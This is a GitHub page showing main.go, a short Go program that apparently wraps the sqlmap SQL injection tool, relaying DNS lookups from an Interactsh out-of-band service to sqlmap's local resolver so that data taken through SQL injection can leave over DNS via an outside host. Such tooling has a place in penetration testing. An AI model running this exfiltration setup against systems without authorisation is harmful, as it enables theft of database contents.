-
Notifications
You must be signed in to change notification settings - Fork 4
/
main.go
59 lines (49 loc) · 1.54 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package main
import (
"context"
"net"
"os"
"os/exec"
"time"
"github.com/projectdiscovery/interactsh/pkg/client"
"github.com/projectdiscovery/interactsh/pkg/server"
)
func main() {
var (
dnsResolverIP = "127.0.0.1:53" // SQLMap local DNS resolver.
dnsResolverProto = "udp" // Protocol to use for the DNS resolver
dnsResolverTimeoutMs = 100 // Timeout (ms) for the DNS resolver (optional)
interactshPollingTimeMs = 500 // Polling time (ms) to check for interaction in Interact.sh
)
dnsResolver := &net.Resolver{
PreferGo: true,
Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
d := net.Dialer{
Timeout: time.Duration(dnsResolverTimeoutMs) * time.Millisecond,
}
return d.DialContext(ctx, dnsResolverProto, dnsResolverIP)
},
}
// Create InteractSH client
client, err := client.New(client.DefaultOptions)
if err != nil {
panic(err)
}
defer client.Close()
URL := client.URL()
// Read from interactsh and forward to SQLMap local DNS server
client.StartPolling(time.Duration(interactshPollingTimeMs)*time.Millisecond, func(interaction *server.Interaction) {
if interaction.Protocol == "dns" {
dnsResolver.LookupHost(context.Background(), interaction.FullId)
}
})
defer client.StopPolling()
// Wrap SQLMap adding DNS domain for exfiltration
os.Args[0] = "--dns-domain=" + URL
sqlmapCmd := exec.Command("sqlmap", os.Args...)
sqlmapCmd.Env = os.Environ()
sqlmapCmd.Stdin = os.Stdin
sqlmapCmd.Stdout = os.Stdout
sqlmapCmd.Stderr = os.Stderr
sqlmapCmd.Run()
}